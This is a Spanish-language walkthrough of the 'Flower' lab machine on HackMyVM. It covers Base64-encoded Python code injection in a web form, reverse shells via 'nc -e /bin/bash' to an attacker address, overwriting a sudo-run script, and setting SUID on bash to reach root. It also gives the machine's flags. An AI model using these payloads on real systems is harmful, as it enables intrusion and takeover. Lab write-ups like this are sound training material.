Flower HackMyVM (Easy- Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 14:07 EDT
Nmap scan report for 192.168.5.6
Host is up (0.0025s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FC:0C:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.34 secondsVeremos que hay un puerto 80 en el que se aloja una pagina web, si entramos veremos lo siguiente:

Vemos como un selector de flores, si seleccionamos una y le damos a Submit veremos que nos cuenta los petalos que tiene dicha flor, vamos a capturar la peticion con BurpSuite a ver que vemos.
POST / HTTP/1.1
Host: 192.168.5.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://192.168.5.6
Connection: keep-alive
Referer: http://192.168.5.6/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
petals=MSsyVeremos esta peticion si la capturamos, lo que estamos viendo en la parte de petals es un fragmento de codigo codificado en Base64 que si lo decodificamos veremos lo siguiente:
1+2Vemos que esta realizando una suma, por lo que esta ejecutando algo por dentro, vamos a probar a codificar algun comando del sistema y ponerlo en la peticion para enviarlo, a ver si se ejecuta.
POST / HTTP/1.1
Host: 192.168.5.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.5.6/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://192.168.5.6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
petals=d2hvYW1pEn la respuesta del servidor y en la propia pagina web, veremos lo siguiente:
        <h2>
        whoami petals 
        </h2>Vemos que se esta mostrando directamente el codigo decodificado, por lo que algo por dentro lo esta decodificando, pero no lo esta ejecutando, por lo que vamos a probar a intentar realizar injecciones de comandos con python algunas simples.
Despues de estar un rato probando, si probamos a poner lo siguiente de forma codificada en Base64 veremos que funciona.
POST / HTTP/1.1
Host: 192.168.5.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.5.6/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://192.168.5.6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
petals=ZXhlYyh3aG9hbWkpEste valor ZXhlYyh3aG9hbWkp es igual a exec(whoami), si probamos a enviarlo, en la pagina de la respuesta veremos lo siguiente:

Vemos que se esta ejecutando, por lo que vamos a generar una reverse shell para obtener acceso al servidor.
POST / HTTP/1.1
Host: 192.168.5.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.5.6/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://192.168.5.6
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
petals=ZXhlYygnbmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNS40IDc3NzcnKQ==Este valor ZXhlYygnbmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNS40IDc3NzcnKQ== es igual a exec('nc -e /bin/bash <IP> <PORT>')
Antes de enviarlo nos pondremos a la escucha.
nc -lvnp <PORT>Ahora si enviamos la peticion y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.6] 56492
whoami
www-dataVemos que hemos obtenido acceso mediante el usuario www-data por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user rose
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on flower:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.pyVemos que podemos ejecutar el binario python3 respecto a la ruta absoluta del script de diary.py como el usuario rose.
Vamos a ver que permisos tiene dicha carpeta de la siguiente forma:
ls -la /home/rose/diary/Info:
total 12
drwxrwxrwx 2 rose rose 4096 Nov 30  2020 .
drwxrwxr-x 3 rose rose 4096 Nov 30  2020 ..
-rw-r--r-- 1 rose rose  147 Nov 30  2020 diary.pyVemos que tiene todos los permisos, por lo que podremos eliminar el archivo y poner lo que queramos dentro del mismo, vamos a realizarlo de la siguiente forma:
rm /home/rose/diary/diary.pyTendremos que confirmarlo con una y y una vez eliminado vamos a meter lo siguiente:
#!/bin/python3
exec("import os; os.system('nc -e /bin/bash <IP> <PORT>')")Ahora lo guardamos y lo ejecutamos de la siguiente forma.
Nos vamos a poner a la escucha:
nc -lvnp <PORT>Ahora con el usuario www-data ejecutaremos lo siguiente:
sudo -u rose python3 /home/rose/diary/diary.pyY si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.6] 42938
whoami
roseVemos que hemos conseguido acceso al usuario rose por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Vamos a leer la flag del usuario.
user.txt
HMV{R0ses_are_R3d$}Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for rose on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rose may run the following commands on flower:
    (root) NOPASSWD: /bin/bash /home/rose/.plantbookVemos que podemos ejecutar la bash con la ruta absoluta de .plantbook por lo que vamos a investigar un poco.
Si listamos los permisos que tiene veremos lo siguiente:
-rwx------ 1 rose rose  120 Nov 30  2020 .plantbookVemos que podemos editarlo, por lo que al final de las lineas vamos añadir lo siguiente:
nano /home/rose/.plantbook
#Dentro del nano
............................<RESTO DEL CODIGO>...................................
echo "Permisos establecidos de forma correcta..."
chmod u+s /bin/bashLo guardamos y lo ejecutamos de la siguiente forma:
sudo bash /home/rose/.plantbookInfo:
Hello, write the name of the flower that u found
test
Nice, test submitted on : Tue May 6 14:53:17 EDT 2025
Permisos establecidos de forma correcta...Con esto vemos que se ha ejecutado de forma correcta, pero vamos a comprobarlo de la siguiente forma:
ls -la /bin/bashInfo:
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bashVemos que se establecio los permisos SUID a la bash de forma correcta, por lo que haremos lo siguiente:
bash -pInfo:
bash-5.0# whoami
rootY con esto ya seremos root por lo que leeremos la flag de root.
root.txt
HMV{R0ses_are_als0_black.}Last updated